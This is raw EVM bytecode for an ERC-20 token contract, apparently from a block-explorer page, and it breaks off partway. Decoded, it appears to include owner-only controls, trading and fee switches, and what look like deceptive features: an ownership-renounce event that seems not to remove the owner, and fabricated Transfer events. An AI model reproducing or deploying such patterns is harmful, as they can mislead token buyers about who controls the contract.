0c09919062001594565b62000c15919062001594565b62000c2191906200160b565b5f80600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f80600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405162000d5f919062001653565b60405180910390a36064600a6012600a62000d7b919062001544565b633b9aca0062000d8c919062001594565b62000d98919062001594565b62000da491906200160b565b5f80600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f80600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405162000ee2919062001653565b60405180910390a36064600a6012600a62000efe919062001544565b633b9aca0062000f0f919062001594565b62000f1b919062001594565b62000f2791906200160b565b5f80600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f80600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405162001065919062001653565b60405180910390a36200166e565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620010ef57607f821691505b602082108103620011055762001104620010aa565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620011697fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200112c565b6200117586836200112c565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620011bf620011b9620011b3846200118d565b62001196565b6200118d565b9050919050565b5f819050919050565b620011da836200119f565b620011f2620011e982620011c6565b84845462001138565b825550505050565b5f90565b62001208620011fa565b62001215818484620011cf565b505050565b5b818110156200123c57620012305f82620011fe565b6001810190506200121b565b5050565b601f8211156200128b5762001255816200110b565b62001260846200111d565b8101602085101562001270578190505b620012886200127f856200111d565b8301826200121a565b50505b505050565b5f82821c905092915050565b5f620012ad5f198460080262001290565b1980831691505092915050565b5f620012c783836200129c565b9150826002028217905092915050565b620012e28262001073565b67ffffffffffffffff811115620012fe57620012fd6200107d565b5b6200130a8254620010d7565b6200131782828562001240565b5f60209050601f8311600181146200134d575f841562001338578287015190505b620013448582620012ba565b865550620013b3565b601f1984166200135d866200110b565b5f5b8281101562001386578489015182556001820191506020850194506020810190506200135f565b86831015620013a65784890151620013a2601f8916826200129c565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562001445578086048111156200141d576200141c620013bb565b5b60018516156200142d5780820291505b80810290506200143d85620013e8565b9450620013fd565b94509492505050565b5f826200145f576001905062001531565b816200146e575f905062001531565b81600181146200148757600281146200149257620014c8565b600191505062001531565b60ff841115620014a757620014a6620013bb565b5b8360020a915084821115620014c157620014c0620013bb565b5b5062001531565b5060208310610133831016604e8410600b8410161715620015025782820a905083811115620014fc57620014fb620013bb565b5b62001531565b620015118484846001620013f4565b925090508184048111156200152b576200152a620013bb565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62001550826200118d565b91506200155d8362001538565b92506200158c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200144e565b905092915050565b5f620015a0826200118d565b9150620015ad836200118d565b9250828202620015bd816200118d565b91508282048414831517620015d757620015d6620013bb565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62001617826200118d565b915062001624836200118d565b925082620016375762001636620015de565b5b828204905092915050565b6200164d816200118d565b82525050565b5f602082019050620016685f83018462001642565b92915050565b61219e806200167c5f395ff3fe60806040526004361061010c575f3560e01c806370a0823111610094578063a9059cbb11610063578063a9059cbb14610351578063c9567bf91461038d578063dd62ed3e146103a3578063ea2f0b37146103df578063f2fde38b1461040757610113565b806370a08231146102ad578063715018a6146102e957806377b6d5d9146102ff57806395d89b411461032757610113565b806323b872dd116100db57806323b872dd146101cf578063313ce5671461020b578063437823ec146102355780634feefd9b1461025d578063683ad2ec1461028557610113565b806306fdde0314610117578063095ea7b31461014157806318160ddd1461017d5780631b56bbf9146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b61042f565b6040516101389190611892565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190611947565b6104bf565b604051610174919061199f565b60405180910390f35b348015610188575f80fd5b506101916105ac565b60405161019e91906119c7565b60405180910390f35b3480156101b2575f80fd5b506101cd60048036038101906101c891906119e0565b6105cc565b005b3480156101da575f80fd5b506101f560048036038101906101f09190611a0b565b610695565b604051610202919061199f565b60405180910390f35b348015610216575f80fd5b5061021f610738565b60405161022c9190611a76565b60405180910390f35b348015610240575f80fd5b5061025b600480360381019061025691906119e0565b61073d565b005b348015610268575f80fd5b50610283600480360381019061027e9190611b45565b610806565b005b348015610290575f80fd5b506102ab60048036038101906102a69190611c00565b610953565b005b3480156102b8575f80fd5b506102d360048036038101906102ce91906119e0565b610a12565b6040516102e091906119c7565b60405180910390f35b3480156102f4575f80fd5b506102fd610a26565b005b34801561030a575f80fd5b5061032560048036038101906103209190611c3e565b610b29565b005b348015610332575f80fd5b5061033b610bcd565b6040516103489190611892565b60405180910390f35b34801561035c575f80fd5b5061037760048036038101906103729190611947565b610c5d565b604051610384919061199f565b60405180910390f35b348015610398575f80fd5b506103a1610c71565b005b3480156103ae575f80fd5b506103c960048036038101906103c49190611c69565b610cff565b6040516103d691906119c7565b60405180910390f35b3480156103ea575f80fd5b50610405600480360381019061040091906119e0565b610d1f565b005b348015610412575f80fd5b5061042d600480360381019061042891906119e0565b610de8565b005b6060600f805461043e90611cd4565b80601f016020809104026020016040519081016040528092919081815260200182805461046a90611cd4565b80156104b55780601f1061048c576101008083540402835291602001916104b5565b820191905f5260205f20905b81548152906001019060200180831161049857829003601f168201915b5050505050905090565b5f8160015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161059a91906119c7565b60405180910390a36001905092915050565b6012600a6105ba9190611e60565b633b9aca006105c99190611eaa565b81565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610652576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461071d9190611eeb565b9250508190555061072f848484610eec565b90509392505050565b601281565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107c3576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461088c576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b8484905081101561094b578484828181106108ac576108ab611f1e565b5b90506020020160208101906108c191906119e0565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061092257610921611f1e565b5b9050602002013560405161093691906119c7565b60405180910390a3808060010191505061088e565b505050505050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d9576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060115f6101000a81548160ff021916908360ff16021790555081601160016101000a81548160ff021916908360ff1602179055505050565b5f602052805f5260405f205f915090505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aac576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610baf576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80601160016101000a81548160ff021916908360ff16021790555050565b606060108054610bdc90611cd4565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0890611cd4565b8015610c535780601f10610c2a57610100808354040283529160200191610c53565b820191905f5260205f20905b815481529060010190602001808311610c3657829003601f168201915b5050505050905090565b5f610c69338484610eec565b905092915050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc9575f80fd5b600360159054906101000a900460ff1615610ce2575f80fd5b6001600360156101000a81548160ff021916908315150217905550565b6001602052815f5260405f20602052805f5260405f205f91509150505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610da5576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e6e576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b5f600360159054906101000a900460ff1680610f54575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610fab575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610fb3575f80fd5b600360159054906101000a900460ff1615801561101c57505f73ffffffffffffffffffffffffffffffffffffffff1660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b801561102757505f82115b1561106d578260025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110b89190611eeb565b9250508190555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111285750600360149054906101000a900460ff16155b8015611198575060646012600a61113f9190611e60565b633b9aca0061114e9190611eaa565b6111589190611f78565b5f803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b80156111f1575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561143a576001600360146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561122d5761122c611fa8565b5b60405190808252806020026020018201604052801561125b5781602001602082028036833780820191505090505b50905030815f8151811061127257611271611f1e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106112d5576112d4611f1e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a61134f9190611e60565b633b9aca0061135e9190611eaa565b6113689190611f78565b5f8430426040518663ffffffff1660e01b815260040161138c9594939291906120dd565b5f604051808303815f87803b1580156113a3575f80fd5b505af11580156113b5573d5f803e3d5ffd5b5050505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561141d573d5f803e3d5ffd5b505f600360146101000a81548160ff021916908315150217905550505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611489575060011515600360159054906101000a900460ff161515145b15611586575f606460025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16146114fa57601160019054906101000a900460ff1661150a565b60115f9054906101000a900460ff165b60ff16846115189190611eaa565b6115229190611f78565b905080836115309190611eeb565b9250805f803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461157d9190612135565b92505081905550505b815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546115d19190612135565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036116b7578273ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116aa91906119c7565b60405180910390a36117fd565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117965760045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161178991906119c7565b60405180910390a36117fc565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117f391906119c7565b60405180910390a35b5b600190509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561183f578082015181840152602081019050611824565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61186482611808565b61186e8185611812565b935061187e818560208601611822565b6118878161184a565b840191505092915050565b5f6020820190508181035f8301526118aa818461185a565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6118e3826118ba565b9050919050565b6118f3816118d9565b81146118fd575f80fd5b50565b5f8135905061190e816118ea565b92915050565b5f819050919050565b61192681611914565b8114611930575f80fd5b50565b5f813590506119418161191d565b92915050565b5f806040838503121561195d5761195c6118b2565b5b5f61196a85828601611900565b925050602061197b85828601611933565b9150509250929050565b5f8115159050919050565b61199981611985565b82525050565b5f6020820190506119b25f830184611990565b92915050565b6119c181611914565b82525050565b5f6020820190506119da5f8301846119b8565b92915050565b5f602082840312156119f5576119f46118b2565b5b5f611a0284828501611900565b91505092915050565b5f805f60608486031215611a2257611a216118b2565b5b5f611a2f86828701611900565b9350506020611a4086828701611900565b9250506040611a5186828701611933565b9150509250925092565b5f60ff82169050919050565b611a7081611a5b565b82525050565b5f602082019050611a895f830184611a67565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611ab057611aaf611a8f565b5b8235905067ffffffffffffffff811115611acd57611acc611a93565b5b602083019150836020820283011115611ae957611ae8611a97565b5b9250929050565b5f8083601f840112611b0557611b04611a8f565b5b8235905067ffffffffffffffff811115611b2257611b21611a93565b5b602083019150836020820283011115611b3e57611b3d611a97565b5b9250929050565b5f805f805f60608688031215611b5e57611b5d6118b2565b5b5f611b6b88828901611900565b955050602086013567ffffffffffffffff811115611b8c57611b8b6118b6565b5b611b9888828901611a9b565b9450945050604086013567ffffffffffffffff811115611bbb57611bba6118b6565b5b611bc788828901611af0565b92509250509295509295909350565b611bdf81611a5b565b8114611be9575f80fd5b50565b5f81359050611bfa81611bd6565b92915050565b5f8060408385031215611c1657611c156118b2565b5b5f611c2385828601611bec565b9250506020611c3485828601611bec565b9150509250929050565b5f60208284031215611c5357611c526118b2565b5b5f611c6084828501611bec565b91505092915050565b5f8060408385031215611c7f57611c7e6118b2565b5b5f611c8c85828601611900565b9250506020611c9d85828601611900565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611ceb57607f821691505b602082108103611cfe57611cfd611ca7565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611d8657808604811115611d6257611d61611d04565b5b6001851615611d715780820291505b8081029050611d7f85611d31565b9450611d46565b94509492505050565b5f82611d9e5760019050611e59565b81611dab575f9050611e59565b8160018114611dc15760028114611dcb57611dfa565b6001915050611e59565b60ff841115611ddd57611ddc611d04565b5b8360020a915084821115611df457611df3611d04565b5b50611e59565b5060208310610133831016604e8410600b8410161715611e2f5782820a905083811115611e2a57611e29611d04565b5b611e59565b611e3c8484846001611d3d565b92509050818404811115611e5357611e52611d04565b5b81810290505b9392505050565b5f611e6a82611914565b9150611e7583611a5b565b9250611ea27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611d8f565b905092915050565b5f611eb482611914565b9150611ebf83611914565b9250828202611ecd81611914565b91508282048414831517611ee457611ee3611d04565b5b5092915050565b5f611ef582611914565b9150611f0083611914565b9250828203905081811115611f1857611f17611d04565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611f8282611914565b9150611f8d83611914565b925082611f9d57611f9c611f4b565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f819050919050565b5f819050919050565b5f612001611ffc611ff784611fd5565b611fde565b611914565b9050919050565b61201181611fe7565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612049816118d9565b82525050565b5f61205a8383612040565b60208301905092915050565b5f602082019050919050565b5f61207c82612017565b6120868185612021565b935061209183612031565b805f5b838110156120c15781516120a8888261204f565b97506120b383612066565b925050600181019050612094565b5085935050505092915050565b6120d7816118d9565b82525050565b5f60a0820190506120f05f8301886119b8565b6120fd6020830187612008565b818103604083015261210f8186612072565b905061211e60608301856120ce565b61212b60808301846119b8565b9695505050505050565b5f61213f82611914565b915061214a83611914565b925082820190508082111561216257612161611d04565b5b9291505056fea2646970667358221220987e5de55321909e0b4603b4021b2209d319b1e77a3f994c0f3633b10a3e318164736f6c63430008160033

Deployed Bytecode

0x60806040526004361061010c575f3560e01c806370a0823111610094578063a9059cbb11610063578063a9059cbb14610351578063c9567bf91461038d578063dd62ed3e146103a3578063ea2f0b37146103df578063f2fde38b1461040757610113565b806370a08231146102ad578063715018a6146102e957806377b6d5d9146102ff57806395d89b411461032757610113565b806323b872dd116100db57806323b872dd146101cf578063313ce5671461020b578063437823ec146102355780634feefd9b1461025d578063683ad2ec1461028557610113565b806306fdde0314610117578063095ea7b31461014157806318160ddd1461017d5780631b56bbf9146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b61042f565b6040516101389190611892565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190611947565b6104bf565b604051610174919061199f565b60405180910390f35b348015610188575f80fd5b506101916105ac565b60405161019e91906119c7565b60405180910390f35b3480156101b2575f80fd5b506101cd60048036038101906101c891906119e0565b6105cc565b005b3480156101da575f80fd5b506101f560048036038101906101f09190611a0b565b610695565b604051610202919061199f565b60405180910390f35b348015610216575f80fd5b5061021f610738565b60405161022c9190611a76565b60405180910390f35b348015610240575f80fd5b5061025b600480360381019061025691906119e0565b61073d565b005b348015610268575f80fd5b50610283600480360381019061027e9190611b45565b610806565b005b348015610290575f80fd5b506102ab60048036038101906102a69190611c00565b610953565b005b3480156102b8575f80fd5b506102d360048036038101906102ce91906119e0565b610a12565b6040516102e091906119c7565b60405180910390f35b3480156102f4575f80fd5b506102fd610a26565b005b34801561030a575f80fd5b5061032560048036038101906103209190611c3e565b610b29565b005b348015610332575f80fd5b5061033b610bcd565b6040516103489190611892565b60405180910390f35b34801561035c575f80fd5b5061037760048036038101906103729190611947565b610c5d565b604051610384919061199f565b60405180910390f35b348015610398575f80fd5b506103a1610c71565b005b3480156103ae575f80fd5b506103c960048036038101906103c49190611c69565b610cff565b6040516103d691906119c7565b60405180910390f35b3480156103ea575f80fd5b50610405600480360381019061040091906119e0565b610d1f565b005b348015610412575f80fd5b5061042d600480360381019061042891906119e0565b610de8565b005b6060600f805461043e90611cd4565b80601f016020809104026020016040519081016040528092919081815260200182805461046a90611cd4565b80156104b55780601f1061048c576101008083540402835291602001916104b5565b820191905f5260205f20905b81548152906001019060200180831161049857829003601f168201915b5050505050905090565b5f8160015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161059a91906119c7565b60405180910390a36001905092915050565b6012600a6105ba9190611e60565b633b9aca006105c99190611eaa565b81565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610652576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461071d9190611eeb565b9250508190555061072f848484610eec565b90509392505050565b601281565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107c3576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461088c576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b8484905081101561094b578484828181106108ac576108ab611f1e565b5b90506020020160208101906108c191906119e0565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061092257610921611f1e565b5b9050602002013560405161093691906119c7565b60405180910390a3808060010191505061088e565b505050505050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d9576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060115f6101000a81548160ff021916908360ff16021790555081601160016101000a81548160ff021916908360ff1602179055505050565b5f602052805f5260405f205f915090505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aac576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610baf576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80601160016101000a81548160ff021916908360ff16021790555050565b606060108054610bdc90611cd4565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0890611cd4565b8015610c535780601f10610c2a57610100808354040283529160200191610c53565b820191905f5260205f20905b815481529060010190602001808311610c3657829003601f168201915b5050505050905090565b5f610c69338484610eec565b905092915050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc9575f80fd5b600360159054906101000a900460ff1615610ce2575f80fd5b6001600360156101000a81548160ff021916908315150217905550565b6001602052815f5260405f20602052805f5260405f205f91509150505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610da5576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e6e576040517f1036e0a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b5f600360159054906101000a900460ff1680610f54575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610fab575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610fb3575f80fd5b600360159054906101000a900460ff1615801561101c57505f73ffffffffffffffffffffffffffffffffffffffff1660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b801561102757505f82115b1561106d578260025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110b89190611eeb565b9250508190555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111285750600360149054906101000a900460ff16155b8015611198575060646012600a61113f9190611e60565b633b9aca0061114e9190611eaa565b6111589190611f78565b5f803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b80156111f1575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1